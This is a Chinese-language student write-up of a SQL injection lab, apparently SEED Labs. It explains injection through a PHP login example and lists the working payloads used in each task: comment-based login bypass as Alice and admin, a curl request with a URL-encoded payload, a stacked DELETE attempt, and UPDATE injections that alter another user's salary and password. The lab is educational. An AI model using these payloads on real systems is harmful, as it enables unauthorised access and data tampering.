Lab2
前言
这一节主要在用几个例子讲述SQL注入的原理以及如何通过SQL注入来进行对数据的恶意增删改查。可能需要对SQL、PHP以及计算机网络有一定的了解,不然做起来还是有些吃力的。
在PHP中,SQL注入的主要原理是因为一些开发者把从url中得到的数据直接作为字符串进行拼接然后将其作为SQL语句进行执行,故而导致一些恶意攻击手段能够生效。下面举一个最简单的例子。
比如我们登陆的时候需要传入用户名和密码,然后我们的网络请求url如下所示
https://www.xxxxxxxx.com/login?username=name&password=pwd
然后开发者的PHP代码是这么写得
$username = $GET['username'];
$password = $GET['password'];
$sql = "select * from tb_user where tb_username = '$username' and tb_password = '$password';";
//执行SQL语句省略
乍看上去好像没什么问题,在正常情况下它确实跑的通,但是我们都忽略了一个问题,#在SQL语句中可是有注释的意思,如果我们在我们传输的信息中携带了#,它可能会导致很可怕的后果。比如说,我们用了这样传了一个url
https://www.xxxxxxxx.com/login?username=root';#&password=pwd
那么我们在PHP代码执行后,$sql的值就为
select * from tb_user where tb_username = 'root';# and tb_password = 'pwd';
因为#在SQL中是注释的意思,所以实际上被执行的SQL语句为
select * from tb_user where tb_username = 'root';
那这就很危险了啊,只要你的数据库中存在这个叫root的人,攻击者就能在不知道这个人密码的情况下把这个人的信息扒的底裤都不剩。
以上就是SQL注入的一个简单剖析了。具体的更多例子还是看具体的实验内容吧。
Task1
这一步的主要目的就类似于我们上边的例子,在没有密码的情况下登录他人的账号,上边已经讲得很详细了。
在USERNAME中填入Alice';#,即可直接查看Alice的所有信息
Task2
Task2.1
同理,在USERNAME中填入admin';#,即可直接以admin的身份登录
Task2.2
通过观察可以发现该网站的用户名和密码都是加在url中进行传输的,形如unsafe_home.php?username=xxx&Password=xxx
则可以直接通过编造url的方式进行sql注入,如unsafe_home.php?username=admin';#,url的特殊字符需要编码之后才能够正常传输,因此借助在线工具http://www.jsons.cn/urlencode/的帮助
得到urlencode之后的url应该为http://www.seedlabsqlinjection.com/unsafe_home.php?username%3Dadmin'%3B%23,使用crul进行访问并保存,命令为curl -o admin.html http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%3B%23
打开admin.html查看结果,实现了同样的效果。
Task2.3
在USERNAME中输入Admin';delete from credential where name = 'Ryan';#,然后点击登录
这一步失败了,但是可以发现SQL语句是拼接成功的,但是由于源码中PHP的代码不允许执行多行SQL,所以执行失败了。大家知道怎么回事就好了。
Task3
Task3.1
在Phone Number中输入',salary = '30000
提交之后可以看到数据已经改变
Task3.2
在phonenumber中输入',salary = '1' where id = (select * from (select id from credential where name = 'Boby') temp);#
点击save之后进入数据库查看结果,发现成功
Task3.3
在phonenumber中输入'Password=sha1('attacker') where id = (select * from (select id from credential where name = 'Boby') temp);#,点击Save
进入数据库查看,发现密码已经被改为attacker被SHA加密后的值
其实上面两步可以直接用where name = 'Boby',因为这里name都是唯一的,不会出现重复的情况,当时做的时候想复杂了,但是作为规范,我们平时在做数据库更改操作的时候还是要尽量使用主键去定位数据。
Task4
使用vi编辑进行更改
重新打开网页,在username中输入Alice';#
发现登陆不成功,说明反制措施已经生效了